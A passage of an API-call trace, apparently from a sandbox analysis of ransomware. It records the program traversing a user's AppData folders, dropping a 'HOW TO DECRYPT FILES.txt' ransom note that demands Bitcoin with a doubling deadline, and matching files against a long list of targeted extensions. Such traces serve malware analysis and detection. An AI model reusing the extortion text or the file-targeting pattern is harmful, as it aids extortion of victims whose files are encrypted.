nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x330000, cFileName="..", cAlternateFileName="")) returned 1 [0087.845] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.845] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.845] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d241020, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d9d7640, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d9d7640, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="support", cAlternateFileName="")) returned 1 [0087.845] lstrcmpA (lpString1=".", lpString2="support") returned -1 [0087.845] lstrcmpA (lpString1="..", lpString2="support") returned -1 [0087.845] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*.*") returned="*.*" [0087.845] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\", lpString2="support" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support" [0087.846] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support") returned 92 [0087.846] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d241020, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d9d7640, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d9d7640, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0087.889] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.889] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d241020, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d9d7640, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d9d7640, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.889] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.889] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.889] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d9d7640, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d9d7640, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d9d7640, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="flashplayer", cAlternateFileName="FLASHP~1")) returned 1 [0087.889] lstrcmpA (lpString1=".", lpString2="flashplayer") returned -1 [0087.889] lstrcmpA (lpString1="..", lpString2="flashplayer") returned -1 [0087.889] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*.*") returned="*.*" [0087.889] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\", lpString2="flashplayer" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer" [0087.889] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer") returned 104 [0087.890] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d9d7640, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d9d7640, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d9d7640, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502718 [0087.908] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.908] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d9d7640, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d9d7640, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d9d7640, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.908] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.908] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.908] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d9d7640, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="sys", cAlternateFileName="")) returned 1 [0087.908] lstrcmpA (lpString1=".", lpString2="sys") returned -1 [0087.908] lstrcmpA (lpString1="..", lpString2="sys") returned -1 [0087.908] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*.*") returned="*.*" [0087.908] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\", lpString2="sys" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys" [0087.908] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys") returned 108 [0087.909] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*.*", lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d9d7640, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502758 [0087.909] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.909] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d9d7640, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.909] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.909] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.909] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6d9d7640, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x1d6, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="settings.sol", cAlternateFileName="")) returned 1 [0087.909] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0087.909] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="settings.sol") returned -1 [0087.909] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="settings.sol") returned -1 [0087.910] lstrcmpiA (lpString1="", lpString2="settings.sol") returned -1 [0087.910] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*.*") returned="*.*" [0087.910] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\" [0087.910] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\") returned="" [0087.910] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\HOW TO DECRYPT FILES.txt" [0087.910] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\how to decrypt files.txt")) returned 0xffffffff [0087.910] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0087.911] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0087.911] WriteFile (in: hFile=0xa4, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0087.913] SetFileTime (hFile=0xa4, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0087.913] CloseHandle (hObject=0xa4) returned 1 [0087.914] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\", lpString2="settings.sol" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol" [0087.914] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.ems") returned 0 [0087.914] lstrlenA (lpString="*.ems") returned 5 [0087.914] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.db") returned 0 [0087.914] lstrlenA (lpString="*.db") returned 4 [0087.914] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.dbf") returned 0 [0087.914] lstrlenA (lpString="*.dbf") returned 5 [0087.914] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.myox") returned 0 [0087.914] lstrlenA (lpString="*.myox") returned 6 [0087.914] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.myo") returned 0 [0087.914] lstrlenA (lpString="*.myo") returned 5 [0087.914] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.qbw") returned 0 [0087.914] lstrlenA (lpString="*.qbw") returned 5 [0087.914] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.qbb") returned 0 [0087.914] lstrlenA (lpString="*.qbb") returned 5 [0087.914] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.qbm") returned 0 [0087.914] lstrlenA (lpString="*.qbm") returned 5 [0087.914] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.qbo") returned 0 [0087.914] lstrlenA (lpString="*.qbo") returned 5 [0087.914] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.qbx") returned 0 [0087.915] lstrlenA (lpString="*.qbx") returned 5 [0087.915] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.qba") returned 0 [0087.915] lstrlenA (lpString="*.qba") returned 5 [0087.915] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.qby") returned 0 [0087.915] lstrlenA (lpString="*.qby") returned 5 [0087.915] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.qbj") returned 0 [0087.915] lstrlenA (lpString="*.qbj") returned 5 [0087.915] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.ofx") returned 0 [0087.915] lstrlenA (lpString="*.ofx") returned 5 [0087.915] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.qif") returned 0 [0087.915] lstrlenA (lpString="*.qif") returned 5 [0087.915] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.mye") returned 0 [0087.915] lstrlenA (lpString="*.mye") returned 5 [0087.915] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.mbox") returned 0 [0087.915] lstrlenA (lpString="*.mbox") returned 6 [0087.915] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.eml") returned 0 [0087.915] lstrlenA (lpString="*.eml") returned 5 [0087.915] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.pst") returned 0 [0087.915] lstrlenA (lpString="*.pst") returned 5 [0087.915] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.ost") returned 0 [0087.915] lstrlenA (lpString="*.ost") returned 5 [0087.916] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.idx") returned 0 [0087.916] lstrlenA (lpString="*.idx") returned 5 [0087.916] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.dbx") returned 0 [0087.916] lstrlenA (lpString="*.dbx") returned 5 [0087.916] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.sql") returned 0 [0087.916] lstrlenA (lpString="*.sql") returned 5 [0087.916] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.mdb") returned 0 [0087.916] lstrlenA (lpString="*.mdb") returned 5 [0087.916] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.fdb") returned 0 [0087.916] lstrlenA (lpString="*.fdb") returned 5 [0087.916] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.wab") returned 0 [0087.916] lstrlenA (lpString="*.wab") returned 5 [0087.916] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.dat") returned 0 [0087.916] lstrlenA (lpString="*.dat") returned 5 [0087.916] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.txt") returned 0 [0087.916] lstrlenA (lpString="*.txt") returned 5 [0087.916] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.jpeg") returned 0 [0087.916] lstrlenA (lpString="*.jpeg") returned 6 [0087.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.jpg") returned 0 [0087.917] lstrlenA (lpString="*.jpg") returned 5 [0087.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.png") returned 0 [0087.917] lstrlenA (lpString="*.png") returned 5 [0087.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.php") returned 0 [0087.917] lstrlenA (lpString="*.php") returned 5 [0087.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.cs") returned 0 [0087.917] lstrlenA (lpString="*.cs") returned 4 [0087.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.cpp") returned 0 [0087.917] lstrlenA (lpString="*.cpp") returned 5 [0087.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.rar") returned 0 [0087.917] lstrlenA (lpString="*.rar") returned 5 [0087.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.zip") returned 0 [0087.917] lstrlenA (lpString="*.zip") returned 5 [0087.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.html") returned 0 [0087.917] lstrlenA (lpString="*.html") returned 6 [0087.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.htm") returned 0 [0087.917] lstrlenA (lpString="*.htm") returned 5 [0087.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.xlsx") returned 0 [0087.917] lstrlenA (lpString="*.xlsx") returned 6 [0087.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.xls") returned 0 [0087.918] lstrlenA (lpString="*.xls") returned 5 [0087.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.mp4") returned 0 [0087.918] lstrlenA (lpString="*.mp4") returned 5 [0087.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.ppt") returned 0 [0087.918] lstrlenA (lpString="*.ppt") returned 5 [0087.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.pptx") returned 0 [0087.918] lstrlenA (lpString="*.pptx") returned 6 [0087.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.doc") returned 0 [0087.918] lstrlenA (lpString="*.doc") returned 5 [0087.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.dot") returned 0 [0087.918] lstrlenA (lpString="*.dot") returned 5 [0087.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.docx") returned 0 [0087.918] lstrlenA (lpString="*.docx") returned 6 [0087.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.7z") returned 0 [0087.919] lstrlenA (lpString="*.7z") returned 4 [0087.919] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.tar") returned 0 [0087.919] lstrlenA (lpString="*.tar") returned 5 [0087.919] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.bz2") returned 0 [0087.919] lstrlenA (lpString="*.bz2") returned 5 [0087.919] 